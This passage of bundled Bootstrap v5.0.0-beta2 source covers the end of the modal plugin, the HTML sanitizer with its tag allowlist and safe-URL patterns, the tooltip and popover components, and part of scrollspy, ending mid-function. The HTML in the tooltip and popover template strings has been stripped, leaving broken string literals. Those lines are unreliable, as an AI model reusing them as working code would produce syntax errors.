* ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n * add .Modal to jQuery only if jQuery is present\n */\n\ndefineJQueryPlugin(NAME, Modal)\n\nexport default Modal\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.0.0-beta2): util/sanitizer.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst uriAttrs = new Set([\n 'background',\n 'cite',\n 'href',\n 'itemtype',\n 'longdesc',\n 'poster',\n 'src',\n 'xlink:href'\n])\n\nconst ARIA_ATTRIBUTE_PATTERN = /^aria-[\\w-]*$/i\n\n/**\n * A pattern that recognizes a commonly useful subset of URLs that are safe.\n *\n * Shoutout to Angular 7 https://github.com/angular/angular/blob/7.2.4/packages/core/src/sanitization/url_sanitizer.ts\n */\nconst SAFE_URL_PATTERN = /^(?:(?:https?|mailto|ftp|tel|file):|[^#&/:?]*(?:[#/?]|$))/gi\n\n/**\n * A pattern that matches safe data URLs. Only matches image, video and audio types.\n *\n * Shoutout to Angular 7 https://github.com/angular/angular/blob/7.2.4/packages/core/src/sanitization/url_sanitizer.ts\n */\nconst DATA_URL_PATTERN = /^data:(?:image\\/(?:bmp|gif|jpeg|jpg|png|tiff|webp)|video\\/(?:mpeg|mp4|ogg|webm)|audio\\/(?:mp3|oga|ogg|opus));base64,[\\d+/a-z]+=*$/i\n\nconst allowedAttribute = (attr, allowedAttributeList) => {\n const attrName = attr.nodeName.toLowerCase()\n\n if (allowedAttributeList.includes(attrName)) {\n if (uriAttrs.has(attrName)) {\n return Boolean(SAFE_URL_PATTERN.test(attr.nodeValue) || DATA_URL_PATTERN.test(attr.nodeValue))\n }\n\n return true\n }\n\n const regExp = allowedAttributeList.filter(attrRegex => attrRegex instanceof RegExp)\n\n // Check if a regular expression validates the attribute.\n for (let i = 0, len = regExp.length; i < len; i++) {\n if (regExp[i].test(attrName)) {\n return true\n }\n }\n\n return false\n}\n\nexport const DefaultAllowlist = {\n // Global attributes allowed on any supplied element below.\n '*': ['class', 'dir', 'id', 'lang', 'role', ARIA_ATTRIBUTE_PATTERN],\n a: ['target', 'href', 'title', 'rel'],\n area: [],\n b: [],\n br: [],\n col: [],\n code: [],\n div: [],\n em: [],\n hr: [],\n h1: [],\n h2: [],\n h3: [],\n h4: [],\n h5: [],\n h6: [],\n i: [],\n img: ['src', 'srcset', 'alt', 'title', 'width', 'height'],\n li: [],\n ol: [],\n p: [],\n pre: [],\n s: [],\n small: [],\n span: [],\n sub: [],\n sup: [],\n strong: [],\n u: [],\n ul: []\n}\n\nexport function sanitizeHtml(unsafeHtml, allowList, sanitizeFn) {\n if (!unsafeHtml.length) {\n return unsafeHtml\n }\n\n if (sanitizeFn && typeof sanitizeFn === 'function') {\n return sanitizeFn(unsafeHtml)\n }\n\n const domParser = new window.DOMParser()\n const createdDocument = domParser.parseFromString(unsafeHtml, 'text/html')\n const allowlistKeys = Object.keys(allowList)\n const elements = [].concat(...createdDocument.body.querySelectorAll('*'))\n\n for (let i = 0, len = elements.length; i < len; i++) {\n const el = elements[i]\n const elName = el.nodeName.toLowerCase()\n\n if (!allowlistKeys.includes(elName)) {\n el.parentNode.removeChild(el)\n\n continue\n }\n\n const attributeList = [].concat(...el.attributes)\n const allowedAttributes = [].concat(allowList['*'] || [], allowList[elName] || [])\n\n attributeList.forEach(attr => {\n if (!allowedAttribute(attr, allowedAttributes)) {\n el.removeAttribute(attr.nodeName)\n }\n })\n }\n\n return createdDocument.body.innerHTML\n}\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.0.0-beta2): tooltip.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport * as Popper from '@popperjs/core'\n\nimport {\n defineJQueryPlugin,\n emulateTransitionEnd,\n findShadowRoot,\n getTransitionDurationFromElement,\n getUID,\n isElement,\n isRTL,\n noop,\n typeCheckConfig\n} from './util/index'\nimport {\n DefaultAllowlist,\n sanitizeHtml\n} from './util/sanitizer'\nimport Data from './dom/data'\nimport EventHandler from './dom/event-handler'\nimport Manipulator from './dom/manipulator'\nimport SelectorEngine from './dom/selector-engine'\nimport BaseComponent from './base-component'\n\n/**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\nconst NAME = 'tooltip'\nconst DATA_KEY = 'bs.tooltip'\nconst EVENT_KEY = `.${DATA_KEY}`\nconst CLASS_PREFIX = 'bs-tooltip'\nconst BSCLS_PREFIX_REGEX = new RegExp(`(^|\\\\s)${CLASS_PREFIX}\\\\S+`, 'g')\nconst DISALLOWED_ATTRIBUTES = new Set(['sanitize', 'allowList', 'sanitizeFn'])\n\nconst DefaultType = {\n animation: 'boolean',\n template: 'string',\n title: '(string|element|function)',\n trigger: 'string',\n delay: '(number|object)',\n html: 'boolean',\n selector: '(string|boolean)',\n placement: '(string|function)',\n offset: '(array|string|function)',\n container: '(string|element|boolean)',\n fallbackPlacements: 'array',\n boundary: '(string|element)',\n customClass: '(string|function)',\n sanitize: 'boolean',\n sanitizeFn: '(null|function)',\n allowList: 'object',\n popperConfig: '(null|object|function)'\n}\n\nconst AttachmentMap = {\n AUTO: 'auto',\n TOP: 'top',\n RIGHT: isRTL ? 'left' : 'right',\n BOTTOM: 'bottom',\n LEFT: isRTL ? 'right' : 'left'\n}\n\nconst Default = {\n animation: true,\n template: '
' +\n '
' +\n '
' +\n '
',\n trigger: 'hover focus',\n title: '',\n delay: 0,\n html: false,\n selector: false,\n placement: 'top',\n offset: [0, 0],\n container: false,\n fallbackPlacements: ['top', 'right', 'bottom', 'left'],\n boundary: 'clippingParents',\n customClass: '',\n sanitize: true,\n sanitizeFn: null,\n allowList: DefaultAllowlist,\n popperConfig: null\n}\n\nconst Event = {\n HIDE: `hide${EVENT_KEY}`,\n HIDDEN: `hidden${EVENT_KEY}`,\n SHOW: `show${EVENT_KEY}`,\n SHOWN: `shown${EVENT_KEY}`,\n INSERTED: `inserted${EVENT_KEY}`,\n CLICK: `click${EVENT_KEY}`,\n FOCUSIN: `focusin${EVENT_KEY}`,\n FOCUSOUT: `focusout${EVENT_KEY}`,\n MOUSEENTER: `mouseenter${EVENT_KEY}`,\n MOUSELEAVE: `mouseleave${EVENT_KEY}`\n}\n\nconst CLASS_NAME_FADE = 'fade'\nconst CLASS_NAME_MODAL = 'modal'\nconst CLASS_NAME_SHOW = 'show'\n\nconst HOVER_STATE_SHOW = 'show'\nconst HOVER_STATE_OUT = 'out'\n\nconst SELECTOR_TOOLTIP_INNER = '.tooltip-inner'\n\nconst TRIGGER_HOVER = 'hover'\nconst TRIGGER_FOCUS = 'focus'\nconst TRIGGER_CLICK = 'click'\nconst TRIGGER_MANUAL = 'manual'\n\n/**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\nclass Tooltip extends BaseComponent {\n constructor(element, config) {\n if (typeof Popper === 'undefined') {\n throw new TypeError('Bootstrap\\'s tooltips require Popper (https://popper.js.org)')\n }\n\n super(element)\n\n // private\n this._isEnabled = true\n this._timeout = 0\n this._hoverState = ''\n this._activeTrigger = {}\n this._popper = null\n\n // Protected\n this.config = this._getConfig(config)\n this.tip = null\n\n this._setListeners()\n }\n\n // Getters\n\n static get Default() {\n return Default\n }\n\n static get NAME() {\n return NAME\n }\n\n static get DATA_KEY() {\n return DATA_KEY\n }\n\n static get Event() {\n return Event\n }\n\n static get EVENT_KEY() {\n return EVENT_KEY\n }\n\n static get DefaultType() {\n return DefaultType\n }\n\n // Public\n\n enable() {\n this._isEnabled = true\n }\n\n disable() {\n this._isEnabled = false\n }\n\n toggleEnabled() {\n this._isEnabled = !this._isEnabled\n }\n\n toggle(event) {\n if (!this._isEnabled) {\n return\n }\n\n if (event) {\n const context = this._initializeOnDelegatedTarget(event)\n\n context._activeTrigger.click = !context._activeTrigger.click\n\n if (context._isWithActiveTrigger()) {\n context._enter(null, context)\n } else {\n context._leave(null, context)\n }\n } else {\n if (this.getTipElement().classList.contains(CLASS_NAME_SHOW)) {\n this._leave(null, this)\n return\n }\n\n this._enter(null, this)\n }\n }\n\n dispose() {\n clearTimeout(this._timeout)\n\n EventHandler.off(this._element, this.constructor.EVENT_KEY)\n EventHandler.off(this._element.closest(`.${CLASS_NAME_MODAL}`), 'hide.bs.modal', this._hideModalHandler)\n\n if (this.tip && this.tip.parentNode) {\n this.tip.parentNode.removeChild(this.tip)\n }\n\n this._isEnabled = null\n this._timeout = null\n this._hoverState = null\n this._activeTrigger = null\n if (this._popper) {\n this._popper.destroy()\n }\n\n this._popper = null\n this.config = null\n this.tip = null\n super.dispose()\n }\n\n show() {\n if (this._element.style.display === 'none') {\n throw new Error('Please use show on visible elements')\n }\n\n if (!(this.isWithContent() && this._isEnabled)) {\n return\n }\n\n const showEvent = EventHandler.trigger(this._element, this.constructor.Event.SHOW)\n const shadowRoot = findShadowRoot(this._element)\n const isInTheDom = shadowRoot === null ?\n this._element.ownerDocument.documentElement.contains(this._element) :\n shadowRoot.contains(this._element)\n\n if (showEvent.defaultPrevented || !isInTheDom) {\n return\n }\n\n const tip = this.getTipElement()\n const tipId = getUID(this.constructor.NAME)\n\n tip.setAttribute('id', tipId)\n this._element.setAttribute('aria-describedby', tipId)\n\n this.setContent()\n\n if (this.config.animation) {\n tip.classList.add(CLASS_NAME_FADE)\n }\n\n const placement = typeof this.config.placement === 'function' ?\n this.config.placement.call(this, tip, this._element) :\n this.config.placement\n\n const attachment = this._getAttachment(placement)\n this._addAttachmentClass(attachment)\n\n const container = this._getContainer()\n Data.setData(tip, this.constructor.DATA_KEY, this)\n\n if (!this._element.ownerDocument.documentElement.contains(this.tip)) {\n container.appendChild(tip)\n }\n\n EventHandler.trigger(this._element, this.constructor.Event.INSERTED)\n\n this._popper = Popper.createPopper(this._element, tip, this._getPopperConfig(attachment))\n\n tip.classList.add(CLASS_NAME_SHOW)\n\n const customClass = typeof this.config.customClass === 'function' ? this.config.customClass() : this.config.customClass\n if (customClass) {\n tip.classList.add(...customClass.split(' '))\n }\n\n // If this is a touch-enabled device we add extra\n // empty mouseover listeners to the body's immediate children;\n // only needed because of broken event delegation on iOS\n // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html\n if ('ontouchstart' in document.documentElement) {\n [].concat(...document.body.children).forEach(element => {\n EventHandler.on(element, 'mouseover', noop())\n })\n }\n\n const complete = () => {\n const prevHoverState = this._hoverState\n\n this._hoverState = null\n EventHandler.trigger(this._element, this.constructor.Event.SHOWN)\n\n if (prevHoverState === HOVER_STATE_OUT) {\n this._leave(null, this)\n }\n }\n\n if (this.tip.classList.contains(CLASS_NAME_FADE)) {\n const transitionDuration = getTransitionDurationFromElement(this.tip)\n EventHandler.one(this.tip, 'transitionend', complete)\n emulateTransitionEnd(this.tip, transitionDuration)\n } else {\n complete()\n }\n }\n\n hide() {\n if (!this._popper) {\n return\n }\n\n const tip = this.getTipElement()\n const complete = () => {\n if (this._hoverState !== HOVER_STATE_SHOW && tip.parentNode) {\n tip.parentNode.removeChild(tip)\n }\n\n this._cleanTipClass()\n this._element.removeAttribute('aria-describedby')\n EventHandler.trigger(this._element, this.constructor.Event.HIDDEN)\n\n if (this._popper) {\n this._popper.destroy()\n this._popper = null\n }\n }\n\n const hideEvent = EventHandler.trigger(this._element, this.constructor.Event.HIDE)\n if (hideEvent.defaultPrevented) {\n return\n }\n\n tip.classList.remove(CLASS_NAME_SHOW)\n\n // If this is a touch-enabled device we remove the extra\n // empty mouseover listeners we added for iOS support\n if ('ontouchstart' in document.documentElement) {\n [].concat(...document.body.children)\n .forEach(element => EventHandler.off(element, 'mouseover', noop))\n }\n\n this._activeTrigger[TRIGGER_CLICK] = false\n this._activeTrigger[TRIGGER_FOCUS] = false\n this._activeTrigger[TRIGGER_HOVER] = false\n\n if (this.tip.classList.contains(CLASS_NAME_FADE)) {\n const transitionDuration = getTransitionDurationFromElement(tip)\n\n EventHandler.one(tip, 'transitionend', complete)\n emulateTransitionEnd(tip, transitionDuration)\n } else {\n complete()\n }\n\n this._hoverState = ''\n }\n\n update() {\n if (this._popper !== null) {\n this._popper.update()\n }\n }\n\n // Protected\n\n isWithContent() {\n return Boolean(this.getTitle())\n }\n\n getTipElement() {\n if (this.tip) {\n return this.tip\n }\n\n const element = document.createElement('div')\n element.innerHTML = this.config.template\n\n this.tip = element.children[0]\n return this.tip\n }\n\n setContent() {\n const tip = this.getTipElement()\n this.setElementContent(SelectorEngine.findOne(SELECTOR_TOOLTIP_INNER, tip), this.getTitle())\n tip.classList.remove(CLASS_NAME_FADE, CLASS_NAME_SHOW)\n }\n\n setElementContent(element, content) {\n if (element === null) {\n return\n }\n\n if (typeof content === 'object' && isElement(content)) {\n if (content.jquery) {\n content = content[0]\n }\n\n // content is a DOM node or a jQuery\n if (this.config.html) {\n if (content.parentNode !== element) {\n element.innerHTML = ''\n element.appendChild(content)\n }\n } else {\n element.textContent = content.textContent\n }\n\n return\n }\n\n if (this.config.html) {\n if (this.config.sanitize) {\n content = sanitizeHtml(content, this.config.allowList, this.config.sanitizeFn)\n }\n\n element.innerHTML = content\n } else {\n element.textContent = content\n }\n }\n\n getTitle() {\n let title = this._element.getAttribute('data-bs-original-title')\n\n if (!title) {\n title = typeof this.config.title === 'function' ?\n this.config.title.call(this._element) :\n this.config.title\n }\n\n return title\n }\n\n updateAttachment(attachment) {\n if (attachment === 'right') {\n return 'end'\n }\n\n if (attachment === 'left') {\n return 'start'\n }\n\n return attachment\n }\n\n // Private\n\n _initializeOnDelegatedTarget(event, context) {\n const dataKey = this.constructor.DATA_KEY\n context = context || Data.getData(event.delegateTarget, dataKey)\n\n if (!context) {\n context = new this.constructor(event.delegateTarget, this._getDelegateConfig())\n Data.setData(event.delegateTarget, dataKey, context)\n }\n\n return context\n }\n\n _getOffset() {\n const { offset } = this.config\n\n if (typeof offset === 'string') {\n return offset.split(',').map(val => Number.parseInt(val, 10))\n }\n\n if (typeof offset === 'function') {\n return popperData => offset(popperData, this._element)\n }\n\n return offset\n }\n\n _getPopperConfig(attachment) {\n const defaultBsPopperConfig = {\n placement: attachment,\n modifiers: [\n {\n name: 'flip',\n options: {\n altBoundary: true,\n fallbackPlacements: this.config.fallbackPlacements\n }\n },\n {\n name: 'offset',\n options: {\n offset: this._getOffset()\n }\n },\n {\n name: 'preventOverflow',\n options: {\n boundary: this.config.boundary\n }\n },\n {\n name: 'arrow',\n options: {\n element: `.${this.constructor.NAME}-arrow`\n }\n },\n {\n name: 'onChange',\n enabled: true,\n phase: 'afterWrite',\n fn: data => this._handlePopperPlacementChange(data)\n }\n ],\n onFirstUpdate: data => {\n if (data.options.placement !== data.placement) {\n this._handlePopperPlacementChange(data)\n }\n }\n }\n\n return {\n ...defaultBsPopperConfig,\n ...(typeof this.config.popperConfig === 'function' ? this.config.popperConfig(defaultBsPopperConfig) : this.config.popperConfig)\n }\n }\n\n _addAttachmentClass(attachment) {\n this.getTipElement().classList.add(`${CLASS_PREFIX}-${this.updateAttachment(attachment)}`)\n }\n\n _getContainer() {\n if (this.config.container === false) {\n return document.body\n }\n\n if (isElement(this.config.container)) {\n return this.config.container\n }\n\n return SelectorEngine.findOne(this.config.container)\n }\n\n _getAttachment(placement) {\n return AttachmentMap[placement.toUpperCase()]\n }\n\n _setListeners() {\n const triggers = this.config.trigger.split(' ')\n\n triggers.forEach(trigger => {\n if (trigger === 'click') {\n EventHandler.on(this._element, this.constructor.Event.CLICK, this.config.selector, event => this.toggle(event)\n )\n } else if (trigger !== TRIGGER_MANUAL) {\n const eventIn = trigger === TRIGGER_HOVER ?\n this.constructor.Event.MOUSEENTER :\n this.constructor.Event.FOCUSIN\n const eventOut = trigger === TRIGGER_HOVER ?\n this.constructor.Event.MOUSELEAVE :\n this.constructor.Event.FOCUSOUT\n\n EventHandler.on(this._element, eventIn, this.config.selector, event => this._enter(event))\n EventHandler.on(this._element, eventOut, this.config.selector, event => this._leave(event))\n }\n })\n\n this._hideModalHandler = () => {\n if (this._element) {\n this.hide()\n }\n }\n\n EventHandler.on(this._element.closest(`.${CLASS_NAME_MODAL}`), 'hide.bs.modal', this._hideModalHandler)\n\n if (this.config.selector) {\n this.config = {\n ...this.config,\n trigger: 'manual',\n selector: ''\n }\n } else {\n this._fixTitle()\n }\n }\n\n _fixTitle() {\n const title = this._element.getAttribute('title')\n const originalTitleType = typeof this._element.getAttribute('data-bs-original-title')\n\n if (title || originalTitleType !== 'string') {\n this._element.setAttribute('data-bs-original-title', title || '')\n if (title && !this._element.getAttribute('aria-label') && !this._element.textContent) {\n this._element.setAttribute('aria-label', title)\n }\n\n this._element.setAttribute('title', '')\n }\n }\n\n _enter(event, context) {\n context = this._initializeOnDelegatedTarget(event, context)\n\n if (event) {\n context._activeTrigger[\n event.type === 'focusin' ? TRIGGER_FOCUS : TRIGGER_HOVER\n ] = true\n }\n\n if (context.getTipElement().classList.contains(CLASS_NAME_SHOW) || context._hoverState === HOVER_STATE_SHOW) {\n context._hoverState = HOVER_STATE_SHOW\n return\n }\n\n clearTimeout(context._timeout)\n\n context._hoverState = HOVER_STATE_SHOW\n\n if (!context.config.delay || !context.config.delay.show) {\n context.show()\n return\n }\n\n context._timeout = setTimeout(() => {\n if (context._hoverState === HOVER_STATE_SHOW) {\n context.show()\n }\n }, context.config.delay.show)\n }\n\n _leave(event, context) {\n context = this._initializeOnDelegatedTarget(event, context)\n\n if (event) {\n context._activeTrigger[\n event.type === 'focusout' ? TRIGGER_FOCUS : TRIGGER_HOVER\n ] = false\n }\n\n if (context._isWithActiveTrigger()) {\n return\n }\n\n clearTimeout(context._timeout)\n\n context._hoverState = HOVER_STATE_OUT\n\n if (!context.config.delay || !context.config.delay.hide) {\n context.hide()\n return\n }\n\n context._timeout = setTimeout(() => {\n if (context._hoverState === HOVER_STATE_OUT) {\n context.hide()\n }\n }, context.config.delay.hide)\n }\n\n _isWithActiveTrigger() {\n for (const trigger in this._activeTrigger) {\n if (this._activeTrigger[trigger]) {\n return true\n }\n }\n\n return false\n }\n\n _getConfig(config) {\n const dataAttributes = Manipulator.getDataAttributes(this._element)\n\n Object.keys(dataAttributes).forEach(dataAttr => {\n if (DISALLOWED_ATTRIBUTES.has(dataAttr)) {\n delete dataAttributes[dataAttr]\n }\n })\n\n if (config && typeof config.container === 'object' && config.container.jquery) {\n config.container = config.container[0]\n }\n\n config = {\n ...this.constructor.Default,\n ...dataAttributes,\n ...(typeof config === 'object' && config ? config : {})\n }\n\n if (typeof config.delay === 'number') {\n config.delay = {\n show: config.delay,\n hide: config.delay\n }\n }\n\n if (typeof config.title === 'number') {\n config.title = config.title.toString()\n }\n\n if (typeof config.content === 'number') {\n config.content = config.content.toString()\n }\n\n typeCheckConfig(NAME, config, this.constructor.DefaultType)\n\n if (config.sanitize) {\n config.template = sanitizeHtml(config.template, config.allowList, config.sanitizeFn)\n }\n\n return config\n }\n\n _getDelegateConfig() {\n const config = {}\n\n if (this.config) {\n for (const key in this.config) {\n if (this.constructor.Default[key] !== this.config[key]) {\n config[key] = this.config[key]\n }\n }\n }\n\n return config\n }\n\n _cleanTipClass() {\n const tip = this.getTipElement()\n const tabClass = tip.getAttribute('class').match(BSCLS_PREFIX_REGEX)\n if (tabClass !== null && tabClass.length > 0) {\n tabClass.map(token => token.trim())\n .forEach(tClass => tip.classList.remove(tClass))\n }\n }\n\n _handlePopperPlacementChange(popperData) {\n const { state } = popperData\n\n if (!state) {\n return\n }\n\n this.tip = state.elements.popper\n this._cleanTipClass()\n this._addAttachmentClass(this._getAttachment(state.placement))\n }\n\n // Static\n\n static jQueryInterface(config) {\n return this.each(function () {\n let data = Data.getData(this, DATA_KEY)\n const _config = typeof config === 'object' && config\n\n if (!data && /dispose|hide/.test(config)) {\n return\n }\n\n if (!data) {\n data = new Tooltip(this, _config)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n\n data[config]()\n }\n })\n }\n}\n\n/**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n * add .Tooltip to jQuery only if jQuery is present\n */\n\ndefineJQueryPlugin(NAME, Tooltip)\n\nexport default Tooltip\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.0.0-beta2): popover.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport { defineJQueryPlugin } from './util/index'\nimport Data from './dom/data'\nimport SelectorEngine from './dom/selector-engine'\nimport Tooltip from './tooltip'\n\n/**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\nconst NAME = 'popover'\nconst DATA_KEY = 'bs.popover'\nconst EVENT_KEY = `.${DATA_KEY}`\nconst CLASS_PREFIX = 'bs-popover'\nconst BSCLS_PREFIX_REGEX = new RegExp(`(^|\\\\s)${CLASS_PREFIX}\\\\S+`, 'g')\n\nconst Default = {\n ...Tooltip.Default,\n placement: 'right',\n offset: [0, 8],\n trigger: 'click',\n content: '',\n template: '
' +\n '
' +\n '

' +\n '
' +\n '
'\n}\n\nconst DefaultType = {\n ...Tooltip.DefaultType,\n content: '(string|element|function)'\n}\n\nconst Event = {\n HIDE: `hide${EVENT_KEY}`,\n HIDDEN: `hidden${EVENT_KEY}`,\n SHOW: `show${EVENT_KEY}`,\n SHOWN: `shown${EVENT_KEY}`,\n INSERTED: `inserted${EVENT_KEY}`,\n CLICK: `click${EVENT_KEY}`,\n FOCUSIN: `focusin${EVENT_KEY}`,\n FOCUSOUT: `focusout${EVENT_KEY}`,\n MOUSEENTER: `mouseenter${EVENT_KEY}`,\n MOUSELEAVE: `mouseleave${EVENT_KEY}`\n}\n\nconst CLASS_NAME_FADE = 'fade'\nconst CLASS_NAME_SHOW = 'show'\n\nconst SELECTOR_TITLE = '.popover-header'\nconst SELECTOR_CONTENT = '.popover-body'\n\n/**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\nclass Popover extends Tooltip {\n // Getters\n\n static get Default() {\n return Default\n }\n\n static get NAME() {\n return NAME\n }\n\n static get DATA_KEY() {\n return DATA_KEY\n }\n\n static get Event() {\n return Event\n }\n\n static get EVENT_KEY() {\n return EVENT_KEY\n }\n\n static get DefaultType() {\n return DefaultType\n }\n\n // Overrides\n\n isWithContent() {\n return this.getTitle() || this._getContent()\n }\n\n setContent() {\n const tip = this.getTipElement()\n\n // we use append for html objects to maintain js events\n this.setElementContent(SelectorEngine.findOne(SELECTOR_TITLE, tip), this.getTitle())\n let content = this._getContent()\n if (typeof content === 'function') {\n content = content.call(this._element)\n }\n\n this.setElementContent(SelectorEngine.findOne(SELECTOR_CONTENT, tip), content)\n\n tip.classList.remove(CLASS_NAME_FADE, CLASS_NAME_SHOW)\n }\n\n // Private\n\n _addAttachmentClass(attachment) {\n this.getTipElement().classList.add(`${CLASS_PREFIX}-${this.updateAttachment(attachment)}`)\n }\n\n _getContent() {\n return this._element.getAttribute('data-bs-content') || this.config.content\n }\n\n _cleanTipClass() {\n const tip = this.getTipElement()\n const tabClass = tip.getAttribute('class').match(BSCLS_PREFIX_REGEX)\n if (tabClass !== null && tabClass.length > 0) {\n tabClass.map(token => token.trim())\n .forEach(tClass => tip.classList.remove(tClass))\n }\n }\n\n // Static\n\n static jQueryInterface(config) {\n return this.each(function () {\n let data = Data.getData(this, DATA_KEY)\n const _config = typeof config === 'object' ? config : null\n\n if (!data && /dispose|hide/.test(config)) {\n return\n }\n\n if (!data) {\n data = new Popover(this, _config)\n Data.setData(this, DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n\n data[config]()\n }\n })\n }\n}\n\n/**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n * add .Popover to jQuery only if jQuery is present\n */\n\ndefineJQueryPlugin(NAME, Popover)\n\nexport default Popover\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.0.0-beta2): scrollspy.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport {\n defineJQueryPlugin,\n getSelectorFromElement,\n getUID,\n isElement,\n typeCheckConfig\n} from './util/index'\nimport Data from './dom/data'\nimport EventHandler from './dom/event-handler'\nimport Manipulator from './dom/manipulator'\nimport SelectorEngine from './dom/selector-engine'\nimport BaseComponent from './base-component'\n\n/**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\nconst NAME = 'scrollspy'\nconst DATA_KEY = 'bs.scrollspy'\nconst EVENT_KEY = `.${DATA_KEY}`\nconst DATA_API_KEY = '.data-api'\n\nconst Default = {\n offset: 10,\n method: 'auto',\n target: ''\n}\n\nconst DefaultType = {\n offset: 'number',\n method: 'string',\n target: '(string|element)'\n}\n\nconst EVENT_ACTIVATE = `activate${EVENT_KEY}`\nconst EVENT_SCROLL = `scroll${EVENT_KEY}`\nconst EVENT_LOAD_DATA_API = `load${EVENT_KEY}${DATA_API_KEY}`\n\nconst CLASS_NAME_DROPDOWN_ITEM = 'dropdown-item'\nconst CLASS_NAME_ACTIVE = 'active'\n\nconst SELECTOR_DATA_SPY = '[data-bs-spy=\"scroll\"]'\nconst SELECTOR_NAV_LIST_GROUP = '.nav, .list-group'\nconst SELECTOR_NAV_LINKS = '.nav-link'\nconst SELECTOR_NAV_ITEMS = '.nav-item'\nconst SELECTOR_LIST_ITEMS = '.list-group-item'\nconst SELECTOR_DROPDOWN = '.dropdown'\nconst SELECTOR_DROPDOWN_TOGGLE = '.dropdown-toggle'\n\nconst METHOD_OFFSET = 'offset'\nconst METHOD_POSITION = 'position'\n\n/**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\nclass ScrollSpy extends BaseComponent {\n constructor(element, config) {\n super(element)\n this._scrollElement = element.tagName === 'BODY' ? window : element\n this._config = this._getConfig(config)\n this._selector = `${this._config.target} ${SELECTOR_NAV_LINKS}, ${this._config.target} ${SELECTOR_LIST_ITEMS}, ${this._config.target} .${CLASS_NAME_DROPDOWN_ITEM}`\n this._offsets = []\n this._targets = []\n this._activeTarget = null\n this._scrollHeight = 0\n\n EventHandler.on(this._scrollElement, EVENT_SCROLL, () => this._process())\n\n this.refresh()\n this._process()\n }\n\n // Getters\n\n static get Default() {\n return Default\n }\n\n static get DATA_KEY() {\n return DATA_KEY\n }\n\n // Public\n\n refresh() {\n const autoMethod = this._scrollElement === this._scrollElement.window ?\n METHOD_OFFSET :\n METHOD_POSITION\n\n const offsetMethod = this._config.method === 'auto' ?\n autoMethod :\n this._config.method\n\n const offsetBase = offsetMethod === METHOD_POSITION ?\n this._getScrollTop() :\n 0\n\n this._offsets = []\n this._targets = []\n this._scrollHeight = this._getScrollHeight()\n\n const targets = SelectorEngine.find(this._selector)\n\n targets.map(element => {\n const targetSelector = getSelectorFromElement(element)\n const target = targetSelector ? SelectorEngine.findOne(targetSelector) : null\n\n if (target) {\n const targetBCR = target.getBoundingClientRect()\n if (targetBCR.width || targetBCR.height) {\n return [\n Manipulator[offsetMethod](target).top + offsetBase,\n targetSelector\n ]\n }\n }\n\n return null\n })\n .filter(item => item)\n .sort((a, b) => a[0] - b[0])\n .forEach(item => {\n this._offsets.push(item[0])\n this._targets.push(item[1])\n })\n }\n\n dispose() {\n super.dispose()\n EventHandler.off(this._scrollElement, EVENT_KEY)\n\n this._scrollElement = null\n this._config = null\n this._selector = null\n this._offsets = null\n this._targets = null\n this._activeTarget = null\n this._scrollHeight = null\n }\n\n // Private\n\n _getConfig(config) {\n config = {\n ...Default,\n ...(typeof config === 'object' && config ? config : {})\n }\n\n if (typeof config.target !== 'string' && isElement(config.target)) {\n let { id } = config.target\n if (!id) {\n id = getUID(NAME)\n config.target.id = id\n }\n\n config.target = `#${id}`\n }\n\n typeCheckConfig(NAME, config, DefaultType)\n\n return config\n }\n\n _getScrollTop() {\n return this._scrollElement === window ?\n this._scrollElement.pageYOffset :\n this._scrollElement.scrollTop\n }\n\n _getScrollHeight() {\n return this._scrollElement.scrollHeight || Math.max(\n document.body.scrollHeight,\n document.documentElement.scrollHeight\n )\n }\n\n _getOffsetHeight() {\n return this._scrollElement === window ?\n window.innerHeight :\n this._scrollElement.getBoundingClientRect().height\n }\n\n _process() {\n const scrollTop = this._getScrollTop() + this._config.offset\n const scrollHeight = this._getScrollHeight()\n const maxScroll = this._config.offset + scrollHeight - this._getOffsetHeight()\n\n if (this._scrollHeight !== scrollHeight) {\n this.refresh()\n }\n\n if (scrollTop >= maxScroll) {\n const target = this._targets[this._targets.length - 1]\n\n if (this._activeTarget !== target) {\n this._activate(target)\n }\n\n return\n }\n\n if (this._activeTarget && scrollTop < this._offsets[0] && this._offsets[0] > 0) {\n this._activeTarget = null\n this._clear()\n return\n }\n\n for (let i = this._offsets.length; i--;) {\n const isActiveTarget = this._activeTarget !== this._targets[i] &&\n scrollTop >= this._offsets[i] &&\n (typeof this._offsets[i + 1] === 'undefined' || scrollTop < this._offsets[i + 1])\n\n if (isActiveTarget) {\n this._activate(this._targets[i])\n }\n }\n }\n\n _activate(target) {\n this._activeTarget = target\n\n this._clear()\n\n const queries = this._selector.split(',')\n .map(selector => `${selector}[data-bs-target=\"${target}\"],${selector}[href=\"${target}\"]`)\n\n const link = SelectorEngine.findOne(queries.join(','))\n\n if (link.classList.contains(CLASS_NAME_DROPDOWN_ITEM)) {\n SelectorEngine.findOne(SELECTOR_DROPDOWN_TOGGLE, 